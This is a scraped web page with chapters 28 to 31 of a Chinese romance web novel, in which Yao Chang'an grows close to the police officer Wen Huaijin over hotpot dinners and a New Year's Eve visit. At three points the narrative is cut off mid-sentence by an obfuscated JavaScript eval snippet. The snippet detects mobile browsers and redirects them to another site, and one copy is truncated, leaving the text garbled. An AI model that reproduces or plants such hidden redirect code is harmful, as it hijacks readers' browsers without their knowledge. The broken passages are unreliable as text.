“还好啦,早上九点才上班,下午六点就下班了,挺好的。”姚长安笑道,“以后你想要什么书的话,可以跟我说,有时候老板会清理库存,很便宜的。” “好。”温怀瑾笑着抬头,对上姑娘家笑盈盈的眸子,脸上一热,又移开了视线,“怎么还没上,太慢了。” “正常,这家店生意好,怎么了,你要值夜班?”姚长安见他有点不自在,以为自己耽误他的事儿,怪不好意思的。 温怀瑾摇头:“没有,今天晚上正常休息。” “那不就没事了,慢工出细活嘛。”姚长安笑着看看手表,还早呢,不到七点。 话音刚落,便听到张浩兴奋地喊道:“哎呦,温哥!你也在这儿啊!你不是不吃火锅吗?太阳打西边出来了?”凑近一看,原来是姚长安在对面坐着,张浩乐了,拉着女朋友坐过来,臭不要脸道,“店里都坐满了,不介意加两位吧?” 28. 助攻(二更) 张浩一来,气氛就热闹多了,他就像个活宝,总有说不完的话。 甚至不需要温怀瑾帮忙介绍,张浩就主动自报家门了:“你好啊姚长安同志,我们见过的,我叫张浩,这是我女朋友,黄华,我嫌她名字拗口,我都喊她花花。” 姚长安笑着打招呼:“你好,花花好。” 黄华坐在她旁边,笑着说道:“你就是姚长安啊,张浩提过,说你们书店的咖啡特别好喝。” 姚长安笑笑:“嗯,闻着很香。”说着她把菜单递给黄华,“你们再加点菜吧,不知道你们来,只点了两个人的。” 黄华也是个自来熟,接过菜单,想跟张浩商量点什么,可惜两人坐在了对面,不方便,她便干脆起身:“温老大,你坐我这儿来,我要跟我家张浩坐一起。” 温怀瑾原本坐在里面,闻言起身出来,坐在了姚长安旁边,目不斜视的,反倒不如坐在对面方便了。 姚长安倒是无所谓怎么坐,只是她发现,这位公安同志,坐在对面的时候肢体还算放松,怎么一到她旁边又正襟危坐了。 真是个怪人,不等她好奇发问,便听张浩问道:“哎,姚长安同志,你们点的是辣锅啊?” “啊。”姚长安一脸诧异,“你们不吃辣?” “吃啊,是我温哥不吃辣。”张浩一脸活见鬼地看着温怀瑾,“哥你可以啊,改口味了,什么时候的事,也不跟我说一声。” 温怀瑾无语,他那是改口味吗?他那是客随主便,再说了他都这么大人了,吃点辣也辣不死的。 他飞了个眼刀子过去,张浩撇撇嘴,提醒路过的服务员,加两把公筷。 姚长安还挺欣慰,她不喜欢跟一群人在同一个锅里夹菜,有公筷好点。 她以为这是张浩的习惯,没想到张浩跟黄华嘀咕道:“瞪我干什么?我可没这毛病,是温哥,每次请他吃火锅,他都说不想吃口水。我这叫体贴同事,不是我事儿妈。” 黄华掐了他一把:“你小点声。” 张浩笑了:“这有什么的,温哥这臭毛病谁不知道,也就小姚同志不清楚。不过没关系,现在清楚了。” 姚长安恍然,看来不止她一个有这习惯,真好,不孤独了。不过张浩没来的时候,温怀瑾怎么不要求加公筷呢? 是跟她一样,想等菜上了再加?嗯,有可能。 她便纠正道:“用公筷卫生一点,这不叫毛病。” “对对对,这不叫毛病,这叫良好的卫生习惯。”张浩从善如流,问道,“两把够吧?我跟花花一把,你俩一把。” 姚长安想说再加一把,没想到温怀瑾抢答道:“够了。” 何止是够了,他本来都忘了这茬了,倒是张浩记得门儿清。 记得清就算了,还要在姚长安面前说他两嘴,真是欠收拾。 他接过服务员拿来的一次性碗筷,把公筷放在了姚长安面前:“等下你先吃。” 姚长安无奈,想说再要一把不就得了,可是视线对上,见他好像有什么心事,便说不出口了。她很好奇:“你怎么了?担心邢亚辉啊?” “谁担心他啊。”张浩笑着抢走话茬,“他是担心你上当受骗,对吧温哥?” 温怀瑾服了,只得对着姚长安笑笑:“你救过我弟弟,我不能让表弟害你。” “你可得了吧,你才不在乎你弟弟。”张浩再次拆穿他,嬉皮笑脸的,却在桌子底下挨了黄华两脚,下意识扭头看了眼。 黄华赶紧扯着他膀子,小声提醒道:“你干嘛呀,人家自己聊着呢,你总抢话做什么?” 张浩赶紧赔笑脸:“你们聊,你们聊。” 温怀瑾松了口气,这种被人揭老底的感觉很不好,有些话,还是要他自己说出来才好。 他歉意地看向姚长安:“他就这样,自来熟,你别介意。” “不介意啊,挺好的。”姚长安笑着扯了他一把,服务员端着滚烫的锅底来了,他那么高,碰着了容易被烫着。 只是她这一拽,温怀瑾没有防备,一回头,便互相撞进了对方的眼神里。 一个高点,黑松石般的星眸里,倒映着年轻娇俏的大姑娘。 一个矮点,秋水般明媚的眸里,倒映着风华正茂的帅小伙。 两人均是一愣,随即相视一笑,她松开了他胳膊,解释道:“衣服脏了不好洗。” “嗯,谢谢。”温怀瑾重新坐直了,拿起她面前的公筷,帮她夹菜。 姚长安没有拒绝,生平头一次吃火锅,全程让男同志帮忙夹菜。 倒是奇怪,以前她挺反感别人把她当巨婴照顾的,今天却没有这种抵触的感觉。 期间张浩跟黄华说说笑笑打情骂俏的,就像是在放一部家常的电视剧,热闹得很。 温怀瑾则找不到什么话说,只是反反复复问她,吃这个吗,我来,吃那个吗,我来。 一顿饭快吃完,他都没憋出什么新的字句。 结账的时候,是张浩抢着付的,姚长安想要AA,他不让,嬉皮笑脸道:“来日方长,下次你跟温哥请我们好了。” 说罢便帮黄华戴上围巾帽子和手套,两人手拉着手,准备撤了。 临走时张浩还贫了一句:“走了,不打扰你们二人世界。” 温怀瑾踹了他一脚,他才跟个猴子似的,挽着黄华出去了。 温怀瑾起身,想要学着张浩帮忙递个围巾帽子什么的,又觉得不合适,便站在旁边等着。 姚长安想了想,把围巾匀给了他:“外面冷,冻耳朵,你围上吧。” “不用。”温怀瑾下意识拒绝,其实刚说完就后悔了。 好在姚长安坚持:“戴上吧,这么晚了,把你冻感冒了我就罪过了。” “好。”温怀瑾接过她粉色的围巾,把耳朵和脸颊裹了起来。 两人压马路回去,反正不远,姚长安好奇道:“你也住在附近?” “在你家隔壁小区。”温怀瑾停下,看向左手边的新楼盘,“也是电梯房。十二楼。” “顶楼?” “嗯。” “你也喜欢住顶楼啊。” “顶楼安静。” “你也有阁楼?” “有一个,看星星的。” “有望远镜?” “嗯。” “自己做的?” “嗯。” “你还挺厉害的嘛。”姚长安随口一夸。 温怀瑾却没法随便一听,他的耳朵可能坏了,嗡嗡嗡的响。 直到姚长安停下等他,他才回过神来,赶紧几步追上。 姚长安歪着脑袋,视线向上打量着他的面色,关切道:“你怎么了?不习惯吃辣的,不舒服?” “没有。”温怀瑾一把将她扯到里面,“有车。” 姚长安笑了:“吓我一跳。你要是不舒服跟我说,我那里有胃药。” “真没有。”温怀瑾是不怎么吃辣,不代表他不能学着吃,今天吃了还行,胃里确实火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977796|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣辣的,但是身上也暖和,没事儿,他可以接受。他换了个话题,“过年之后还来吗?” 姚长安又看了他一眼,确定他神色正常了,才继续往前走:“来啊,你说我都念过大学了,要是回小县城发展,我爸妈脸上也不光彩不是?那些小市民会笑话他们的。” “嗯。”温怀瑾松了口气,回来就好,来日方长。 姚长安在他家小区楼下驻足:“我家不远,几步就到了。你赶紧回去休息会儿吧,万一要出任务呢。” “没事,我送你。”温怀瑾坚持,他是男人,哪有让女孩子单独走夜路的道理。 姚长安拗不过他,只好由着他送到楼下,他还是不肯走,又一起坐电梯去了楼上,亲眼看到她进了门,这才走了。 刚到楼下,又想一件要紧的事,便摁下电梯,准备上去说一声。 没想到电梯打开,出来的居然是姚长安。 她笑着把一顶厚实的雷锋帽塞到他怀里:“给我爸买的,还没有戴过,送你了。” 温怀瑾想拒绝,她却扭头进了电梯,他只好跟了进去:“多少钱,我把钱给你。” “你这人真是的,送你的要什么钱啊。”姚长安不高兴了,“张浩不说了吗,你是怕我被邢亚辉骗,特地过来提醒我的,那我送你一顶帽子作为谢礼怎么了?” 电梯上行,温怀瑾愣是找不到反驳的话来,只得硬着头皮跟到了九楼,电梯打开,他跟了出来,深吸一口气,道:“你记下我的号码,你一个人住,要是遇到坏人了,直接打给我。” 姚长安笑了:“对哦,这么重要的事,我怎么忘了问了。” 说着赶紧开门,进去拿电话薄,见他站在门口,便拽了他一把:“进来啊,你又不是门神,怎么总喜欢给我站岗呢。” 温怀瑾笑着进门,换上拖鞋,去茶几那里坐下。 姚长安把纸笔递给他:“你写吧,我手冷,拿不稳笔。” 其实是想看看他的字。 温怀瑾拿起纸笔,一手漂亮的行楷,真是赏心悦目。 姚长安接过来,视线落在“瑾”字上,不由得一愣:“这字我见过。” “是吗?”温怀瑾大概猜到了。 姚长安笑着坐下:“我在我家院子里捡过一张纸,上面的字被雨冲淡了,就剩这个瑾字还能分辨出来。”说着她诧异地看着他,“不会是你写的吧?” “是我。”温怀瑾正襟危坐,“你们一家救了我弟弟,我特地去道谢的,不过不巧,你们不在家。” “原来是这样。没想到你这人还挺懂礼数的,不像你弟弟,目中无人。”姚长安记得原文里面对温怀瑾的描写很少,都是写他板着脸出警,臭着脸给温枕瑜收拾残局。 至于他平时为人处世是什么样的,作者很吝啬,不想让这个伟光正的角色抢了他宝贝男主角的风头。 现在看来,即便作者不写,书里的人也都是有血有肉的,比如温怀瑾,既然他伟光正,那么他为人处世肯定不差。 按照这个大概的设定,其实可以补全他的其他特点。 比如他过分正义,眼里揉不得沙子,那么自然,他就不会包庇温枕瑜。 原文作者不过是讨巧,不让他知道温枕瑜跟邢亚辉的勾当而已,至于温枕瑜祸害的女角色,也都找了各种支线剧情,让事发时的温怀瑾在出差,进而失去一手资料,没有直接的证据去管束这个弟弟。 想到这里,姚长安问道:“如果你弟弟欺负我,你会帮谁?” 29. 想念 姚长安并不喜欢背后议论别人,但是温枕瑜不算人,他不过是原作者创造出来的一个皮套,为了不劳而获,为了被女人环绕,连脸都不要了。 这种祸害被议论几句,那属于正常抒发感情,不算背后嚼舌。 而且,一个人对温枕瑜的态度,其实可以看出来这个人的立场和原则。 所以温怀瑾的答案很重要,这决定了姚长安到底要不要跟温怀瑾处朋友,她可不想被温枕瑜吸血。 好在温怀瑾并不护短,他笑道:“我了解他,如果你们真有了矛盾,肯定是他不对,我不会向着他的。” 姚长安泡了一杯毛尖,放在他面前:“有你这句话我就放心了,以后他要是惹我了,我就找你告状!” 温怀瑾笑着摘下她的粉色围巾,叠好了放在沙发扶手上,端起茶杯捂捂手:“你不用担心,他已经在首都成家了,短时间内不会回来。” “哦。”姚长安装作不知情,好奇道,“这么早就结婚了?看来女方家长挺器重他的。” “你太抬举他了。”温怀瑾也不想背后议论他那个弟弟,不过,鉴于他弟弟对姚长安的敌意,他还是决定让姚长安了解一下真实的情况,于是他解释道,“他不学好,奉子成婚。” 姚长安恍然:“你爸妈没有意见吗?” “我爸气得不轻,我妈挺高兴,毕竟女方是首都户口。”温怀瑾放下茶杯,“你不用怕,虽然这小子不懂感恩,但是我爸还是很讲原则的,真有什么事的话,如果我不在家,你就跟我爸说。” 说着他又把他爸爸的姓名和电话补充在了旁边。 至于他妈妈的,想想还是算了,那么偏心,真有什么事也会觉得是别人不好。 姚长安坐在对面,笑道:“其实我不怕他,我只是烦他。” “正常人都烦他。”温怀瑾莞尔一笑,“我也一样。” 姚长安放心了,两人又聊了一会儿,温怀瑾便起身告辞了,出门的时候戴上了那顶雷锋帽,笑着回头挥了挥手。 姚长安站在门口,看着他进了电梯,这才关门睡觉去了。 很快放假了,她收拾好东西,准备开车回去,不坐火车了,毕竟驾照拿到手大半年了,总得历练历练。 正拉上行李箱准备开门,便听到有人敲门,姚长安问了声谁啊,外面传来熟悉的声音,她这才开了门。 温怀瑾顶着一身的寒气进来,手里提着好几个礼品盒跟购物袋:“你要回去了吧?” “嗯,你这是?”姚长安诧异地打量着他。 温怀瑾把东西放下,没有换鞋,看来是不打算进来了,他笑着说道:“之前去你家道谢,只是查案子顺路,没有准备什么,今天随便买了点东西,麻烦你带回去给叔叔阿姨,里面还有一封我爸的亲笔信。他生意忙,暂时没空,年后有时间的话,再亲自登门道谢。” “客气什么呀,举手之劳。”姚长安意外得很,看来温家爸爸确实比温枕瑜靠谱,也难怪会养出温怀瑾这样的大儿子。 温怀瑾摘下帽子,一头的热汗,笑道:“应该的,你怎么回去?坐火车的话我送你,你一个人也不好拿。” “我开车回去。”姚长安有些想笑,他的头上热气腾腾的,好像要成仙了似的。 温怀瑾赶紧把帽子戴上,东西提起来:“那走,我送你去停车场。” “歇会儿吧,我又不赶车,坐下喝口水吧。”姚长安本来不想收的,可是温怀瑾说了,里面有长辈的亲笔信,那就却之不恭了。 她往里走,温怀瑾看了眼鞋架子,那双他穿过的拖鞋还在,便换了鞋进屋坐下。 房间里的布置大致没变,但加了些喜庆的彩灯彩条年画对联什么的,看起来真热闹。 冰箱旁边挂了一本新的挂历,直接翻到了新年那天。万物有灵,人虽不在,但是家里的一草一木还是要过年的。 真是个有意思的女孩子。 热茶端过来,他笑着捧在手里,问道:“过江走轮渡?” “走大桥。”姚长安无奈,“我爸说最近风浪大,轮渡晃得厉害。” 温怀瑾显然也上过轮渡:“也对,有次晃得我都不会走路了。” “过年要值班吗?”姚长安不是很懂他们的排班,有点好奇。 温怀瑾摇头:“自由活动,随叫随到就行。” “这还怎么自由?”姚长安哭笑不得,哎,真不容易,老百姓的岁月安稳,是由这些人民公仆在负重前行啊。 不过刑警还是比边疆的士兵好一点,边军更不容易,过年都不能回家。 她不由得想起爸爸的亲爸,也不知道到底怎么回事,这么多年杳无音讯,也许爸爸心里是会时常质疑自己的吧——我爸妈为什么不要我了呢? 想想就心疼。 见她有些惆怅,温怀瑾关心道:“你有心事?” “嗯。”姚长安点点头,想想还是跟他说了实话,“邢亚辉是不是跟你说过,我爸不是我爷爷奶奶亲生的。” “嗯,说过。”温怀瑾确实对姚长安家的事情知道得比较多,都是老二跟表弟议论的时候,他不小心听到的。 姚长安叹了口气:“也不知道当初到底发生了什么,我爸的亲生父母说好了会来接他的,结果杳无音讯。” “有姓名吗?我有几个同学当兵去了,在部队混得还不错,我让他们帮忙打听一下。”温怀瑾正愁找不到话题跟她聊,他很乐意帮忙。 姚长安便拿起纸笔,写下两个名字给他:“那就拜托你了。也不急,过年了,你先好好休息,反正几十年都过去了。” “嗯。”温怀瑾终于看到了她的字,漂亮的簪花小楷,跟她的人一样秀外慧中。 他把纸张叠起来收进钱包里:“走吗?我送你。” 姚长安起身:“你忙吗?” 温怀瑾也跟着站起来:“不忙。” 姚长安没有提行李:“那去金鹏转转吧,我爸妈要是知道我没有回礼,要骂我的。” 温怀瑾想说不用,可是她眼巴巴地看着他,又拿长辈出来说事,他就下意识地答应了。 走出门的时候还后悔来着,真到了金鹏,两人说说笑笑地逛起了商场,他又庆幸自己没有拒绝了。 过年之后才能见面,今天多说会儿话也是好的。 等姚长安买好礼品,两人又去楼下找了个火锅店。 他没提公筷,倒是姚长安,觉得他也是个讲究人,特地让服务员准备了两把公筷。 锅底要了不辣的菌菇汤,毕竟张浩说了,他不吃辣。 温怀瑾不语,只是默默地喝汤,吃菜的时候,特地弄了个辣碟,吃给她看。 姚长安笑了:“你别逞强啊,我看得出来,你没怎么吃过辣。” “没事,人生,总是要尝试新鲜事物,才能活得精彩。”温怀瑾笑着拿起公筷,给她夹菜,“吃吧,外头冷,吃饱了才有力气开车。” 姚长安笑着拿公筷给他夹了几块肉:“来而不往非礼也,你也吃。” 火锅蒸腾的热气里,一向不苟言笑的公安同志,笑得很灿烂。 那几块肉他吃得很慢,好像在品尝什么山珍海味,吃饱了便抢着把账结了。 姚长安又欠一顿,哭笑不得:“你跟张浩都喜欢抢着结账吗?” “也不是。”温怀瑾想说,这是他第二次跟朋友出来吃火锅,第一次结账。想想有点矫情,算了。 姚长安也没有追问,回到楼上,便把东西提下楼,上了车,准备回去。 温怀瑾站在外面,她只得摇下车窗:“快下雪了,你回去吧,外面冷。” 他很想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982275|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到家了给他打个电话,可是用什么身份说呢? 朋友?好像没那么熟。顾客和店员?也没那么疏远。 只能挥了挥手:“路上小心。” 姚长安走了,第一片雪花落下来的时候,温怀瑾才回过神来,赶紧回去跟同学打电话,打听姚良远爸妈的事情。 年底了,同学也忙,答应过完年帮他留意一下。他也没有更好的办法,只得等消息。 夜里九点,吃过饭百无聊赖,他拿起纸笔,准备构思一本新的侦探小说,这时电话响了。 他以为要出警,下意识拿起警帽,电话接通,对面传来的却是年轻姑娘清越甜美的笑声:“温怀瑾同志,我到家了。我爸妈让我跟你爸爸说一声谢谢,礼物收到了,举手之劳,不足挂齿。我跟你爸爸不熟,只能拜托你代为转达了。” “嗯,好。”你平安到家就好,这话温怀瑾说不出来,只能笑着握紧了话筒。 很快新年了,万家灯火,爆竹声声,温怀瑾回了别墅那里过年。 他爸没有回来,有应酬,他妈也没有回来,跑首都去了,因为温枕瑜老丈人一家不让他回来,要他贴身照顾怀孕的老婆。 家里只剩温佑琪和做饭的钟点工阿姨。 温怀瑾觉得没劲,屁股都没坐热就走了。 温佑琪赶紧追出来:“大哥,你别走啊,爸妈都不回来,二哥也不见人,你想丢下我一个人啊?” 温怀瑾回头,看着他这个奇形怪状的妹妹,也不知道脑袋上顶的是什么,乱七八糟的,把个头发弄得跟鸟窝一样。 他很怀疑:“你是不是在做发型?” “啊。”温佑琪上来拽他,“你别走啊哥,我没选上央视的春晚,气都气死了,还好咱们这的电视台邀请我了,我等会就得去了。提前把头发卷一卷。” “那我留下来做什么?”温怀瑾很失望,这真的太没劲了,这个家哪里还有一点家的样子。 温佑琪无奈:“我也不想嘛,大家都在争抢春晚露脸的机会,我要是比别人慢一拍,以后就很难再追上了。” “嗯,我回去。”温怀瑾不喜欢这些虚名,看到妹妹泪光盈盈的,又有点不忍心,还是拍拍她的肩膀,安慰道,“哭什么,你笑起来才好看,赶紧去准备吧,你的粉丝等着呢。” “好吧。”温佑琪喜欢哥哥夸她,她不哭了,回去继续准备发型。 温怀瑾回到自己住处,寂寞如影随形,将他吞噬。不由得想起一江之隔的彼岸,她还好吗?一定被快乐包围着吧,她爸妈那么疼她,真好。 就在他准备早早洗脚睡觉的时候,电话响了。 那头没有说话,只有热闹的爆竹声,他猜到了对面是谁,一颗心忽然就不那么烦躁了,他笑着说道:“除夕快乐,姚长安同志。” “除夕快乐,温怀瑾同志!”姚长安吃过年夜饭了,打了一圈拜年电话,最后总觉得少了什么,鬼使神差就拨通了温怀瑾的号码。她笑着问道,“你吃过了吗?” “还没有。”温怀瑾也不知道自己怎么了,明明这个时候该撒谎的,免得对方担心才好,但他还是说了实话。 姚长安果然一愣:“啊?你出任务了?” “没有,我一个人,不想做。”温怀瑾何止是不想做饭,他连过年都觉得没劲了,要不是这通电话,他真的要孤家寡人了。 姚长安沉默片刻,问道:“那你要不要来我家吃啊?” 温怀瑾笑了:“我开车过去?” “你不认路吗?” “认。” “那……你要来吗?” “你们不住乡下了吧?” “嗯,在县城。” “地址给我。”温怀瑾脑子一热,拿起钥匙,戴上帽子手套,准备远赴他乡,吃一顿别人家的年夜饭。 30. 牵手(二更) 小县城跟乡下一样,天还没黑就吃完了年夜饭,这样长辈就有空出去串门了,孩子们也能呼朋引伴玩自己的。 姚长安有不少高中同学都住在县城,从中午到现在,有好几波人过来找她出去唱K,都被她拒绝了。 一来她不是原主,跟他们不熟,二来她不爱凑热闹,一群年轻的男男女女围在一起,少不得有人抽烟,说吧,煞风景,不说吧,伤身体。 算了,还是在自己家里待着,工作后陪伴爸妈的时间本就不多,难得回来,又是除夕,还是别让爸妈做空巢老人了吧。 没想到她倒是想尽孝心,爸妈却有别的应酬,都是些生意上的朋友,三五成群的过来,把个家里挤得水泄不通的。 她懒得招待这群陌生的叔叔阿姨,借口自己有个同学聚会,便戴上帽子围巾和手套,出来了。 压了一会儿马路,打了一圈电话,没想到随口发出的邀约,却有人郑重相待,欣然赴约。 电话挂断,她有点后悔,糟糕,等会温怀瑾来了她怎么招待人家?家里那些叔叔都在抽烟,烟熏火燎的,地上又都是那些阿姨嗑的瓜子壳,真愁人。 要是有个自己的房子就好了。不过她很快想通了,过年嘛,谁家不是这样呢? 真正门庭冷落的才不好呢,人家会说这家人没有人缘,处不来朋友。 不过她也不想让温怀瑾看到她家乱七八糟的,她还是给家里打了个电话:“妈,我有个朋友,等会过来吃年夜饭。” “哎呦乖宝,你怎么不早说。”刘克信忙着跟姐妹拉家常呢,闻言赶紧把瓜子放下,问道,“什么朋友啊?高中同学?大学同学?” “都不是。” “工作后认识的?” “算是吧。” “男的女的啊?” “男的。” 刘克信立马拉响了一级警报,好家伙,男的,朋友,过来吃年夜饭。那不就是男朋友? 赶紧摆摆手,让姐妹淘们安静点,喊道:“远哥,你快过来,安安电话,紧急情况!” 紧急情况!吓得姚良远赶紧飞扑过来,握着话筒:“喂安安哪!你怎么了?出什么事了?” “爸,没什么事,别听我妈一惊一乍的,我有个男性朋友,家里就他一个人过年,怪可怜的,我邀请他来家里吃年夜饭。他家在省城,开过来五六个小时呢,不急。”姚长安服了,她妈肯定想歪了,不然不能夫妻联动啊。 姚良远也想歪了,这不是男朋友是什么?天寒地冻的,开车五六个小时都要过来,最关键的是,今天是除夕夜啊,关系必然不一般! 考虑到女儿开过年都二十三了,也不小了,该谈恋爱了,他便跟刘克信对视一眼,问道:“他家出什么事了?怎么就他一个人过年呢?” “长辈忙吧,他弟结婚了,他妹估计要参加什么晚会。”姚长安解释道,“我也是脑子一热,听说他大过年的没有饭吃,我就……” “应该的应该的!朋友的意义不就是这样?在他最需要温暖的时候及时出现,这才是真朋友!行,我跟你妈这里快忙完了,你等会就回来吧,准备准备,别让人家笑话。”姚良远心里有数了,如果没有情况,女儿反倒是懒得解释。 这一解释,就是越描越黑,有情况!绝对有情况! 应酬可以推到明天,女儿的大事可不能含糊,挂断电话,他便跟朋友们说明情况,约了明天中午在酒店请客赔不是,早早地让他们回去了。 刘克信的操作如出一辙,也约了姐妹淘明天去逛商场,她请客。 房间里骤然冷清下来,两口子大眼瞪小眼,姚良远问道:“接下来做什么?” “大扫除啊!”刘克信莫名紧张起来,她可不想给女儿拖后腿。 姚良远哭笑不得:“小年夜那天不是弄过了?” “那能一样吗?”刘克信还是拉响了一级警报,赶紧收拾去了,瓜子壳得扫了,窗户也得打开,散散烟味儿! 还好女儿的房间一直关着,应该没什么影响,等客厅和主卧的味儿散了,她去次卧看了眼,还行,没味儿,那就把空调提前开开。 姚良远倒了垃圾回来,不禁纳闷儿:“人没回来你就开空调啊?” 刘克信振振有词:“难道要等女儿带着朋友回来再开?空调加热不需要时间啊?你想让孩子冻着?” “哎呦喂,刘克信同志,你也太糊涂了,就算安安带男朋友回来,怎么能把人领进自己闺房呢?还没有结婚呢!”姚良远无奈,他这老婆,急昏头了。 刘克信没那么迂腐,嫌弃道:“时代变了!你看她同学,十个有七个都婚前同居了,虽然我也不鼓励这么做,可是孩子带朋友回来,总不见得还要受那些封建糟粕的约束吧?进闺房说说话而已,又不是做别的,你呀,老腐朽!讨人嫌!” 姚良远挑了挑眉,行吧,他老腐朽。他问道:“那你准备给人家小伙子吃什么?总不能吃咱们的剩饭吧?” “不是还有肉吗?包水饺啊!你赶紧去剁饺子馅儿,我来揉面!”刘克信是个行动派,说做就做。 姚良远没意见,只是问道:“要不要给安安打个电话?这么冷的天,她在外面准备行云布雪啊?” 刘克信噗嗤一声笑了:“你管那么多干什么?孩子指不定正望眼欲穿呢,你把她喊回来,她也不自在。就随她去吧。” 也对,姚良远从善如流,系上围裙,忙活去了。 外面爆竹声声,家里砧板震震,那叫一个相得益彰。 炫目的烟火里,姚长安不知不觉来到了小区门口。 小区旁边是护城河,有人在河堤两岸放烟花,一群孩子在桥头玩擦炮,兴奋坏了,旁边还有几对小情侣,手挽着手,趴在护栏边看风景,撒狗粮。 姚长安看了看手表,快九点了,应该刚走了一半吧?好在这年头私家车不多,应该不至于拥堵。 她倒是想回去等,又怕人来了找不到她家单元楼,到时候被热乎的被子绑架了,她可没有勇气再出来了。 索性一直等着。 视线里,昏黄的路灯泛着不真切的光,烟火炸裂,一瞬的璀璨便淹没了灯光的平庸,只是璀璨过后,那片天空便恢复了寂然,只有眼前的灯光始终守候。 这大概就是写在人类基因里的底层代码——外面的世界再怎么精彩,还是要回家的。 家,永远在那里,安静守候,不吵不闹,但,永远温暖。 正胡思乱想,一辆黑色的越野从桥头驶来,司机没开大灯,默默停在了路边。 小区门口围着一大群孩童,花火璨然,忽明忽灭的光影对面,有个穿着红色风衣的年轻姑娘,正倚着绿化带旁的路灯杆,默默等待着什么。 虽然他看不真切,但是直觉告诉他,那就是姚长安。 车子开近,他摇下车窗,伸手在她眼皮底下晃了晃:“睡着了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982276|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚长安回过神来,下意识看了眼手表:“才十点半,你好快啊!” “抄近路了。”温怀瑾下车,不由分说拉住她的手,幸好戴了手套,应该没有冻着。 他把姚长安请上副驾驶,开了门,抬手挡着点上面的车门框,等她坐下了,他才回到驾驶室,关上车门,问道:“有停车位吗?” “有,你按我说的走。”姚长安的脚都冻麻了,两只手藏在手套里,也是冰的。 可恶,外面太冷了。 不过……相比起她“程”门立雪,他这大晚上开车过来,应该更辛苦吧? 她盯着他的侧脸,忽然好奇:“等会我爸妈肯定要问你是谁,你怎么说?” 温怀瑾是个聪明人,知道这个问题不是表面上那么浅显。 他把车开到停车位,熄火后回头看着她,骤然炸裂的烟火照亮了夜空,在姑娘家的眸子里点燃了灿烂的星火。 她应该很冷,脸颊通红。但也许不是。 他犹豫片刻,还是伸出自己热乎乎的大手:“要捂手吗?” 姚长安没有回答,他特地戴了那顶雷锋帽,厚厚的,应该很暖和。 他的手掌很大,很宽,手指细长,骨节分明,即便烟火暗淡下去,也能看出来,这是双靠得住的手。 她犹豫片刻,还是摘了手套,冰他一冰。 温怀瑾被冻得一惊,忽然感动得无以复加,双手合拢,他把她的一双小手握在掌心,满是期待:“你希望我怎么说?” “随便你。”姚长安没想到他的手这么热,扣在一起,跟个火炉子一样。 一时没了主意,干脆耍赖皮。 温怀瑾哭笑不得:“真的?随便我?你不会后悔?” 姚长安虽然没有谈过恋爱,但也知道气氛暧昧到了极点。可她还没有想清楚,温怀瑾虽然一身正气,长得帅,也有责任心,可他毕竟是温枕瑜的大哥,一时纠结,不禁嗔怪道:“你好烦啊!” 温怀瑾笑了:“那我道歉。” 姚长安受不了他这过分真诚样子,别过头去:“道什么歉啊?” 温怀瑾盯着玻璃窗上的侧脸:“我不好,我让你烦了。” “别打岔!”姚长安回过头来,“等会我爸妈问你——” 话到一半,才意识到因为自己在找人家捂手,两人的身体有些过分靠近,这一回头,四目相对,呼吸近在咫尺。 她甚至能闻到他身上的肥皂香,柠檬香橙,酸酸甜甜,像极了情窦初开的滋味。 视线落在那双认真而期待的眼睛上,不禁脸上一热,移开了视线。 她承认,他其实很优秀。他能大晚上赶过来,诚意也足够。 即便她发出邀请的时候,并没有想那么多,可是傻子也明白这代表了什么。 她有点上头,如果真有一个人,可以郑重对待她的每一句话,那么…… 哪怕他是温枕瑜的大哥,未来也许也是可以期待一下的? 见她一直不说话,温怀瑾只得再问一次:“姚长安同志——” 姚长安一回头,却见他一脸严肃,好像要提什么要求,她意识到了什么,下意识想把手抽开。 却跌进他深邃的眸子里,下意识放弃了挣扎。 耳边响起一个好听的声音,磁性,低沉,带着成熟男人独有的稳重,却也有一丝紧张,她听见他一本正经地问道:“就说我是你男朋友,好不好?” 31. 亲吻 男朋友,这词多新鲜哪,姚长安母单这么多年,有朝一日也要谈情说爱了,没忍住,噗嗤一声笑了出来。 总感觉这个名词离自己非常遥远,谁想到现实就这么猝不及防地扎进了她的耳朵。 她笑得很灿烂:“你不问我有没有男朋友?” 温怀瑾还纳闷儿她为什么发笑,自尊心有点受伤,紧接着她就问出这么幼稚的问题,他没忍住,跟着笑出声来:“你有男朋友?怎么不帮你换灯泡?” “就不能是换完之后有的?”姚长安振振有词。 温怀瑾笑着握紧她的手:“那你请我过来,就不怕你男朋友吃醋?” 好吧,说不过他,真是的,怎么会有人傻到跟一个刑警去辩论,赢不了的,放弃吧。 但她可以反将一军,于是她笑道:“那你吃醋吧。” “我……”温怀瑾差点没有拐过弯来,看她笑得那么狡黠,才知道这个男朋友就是他。 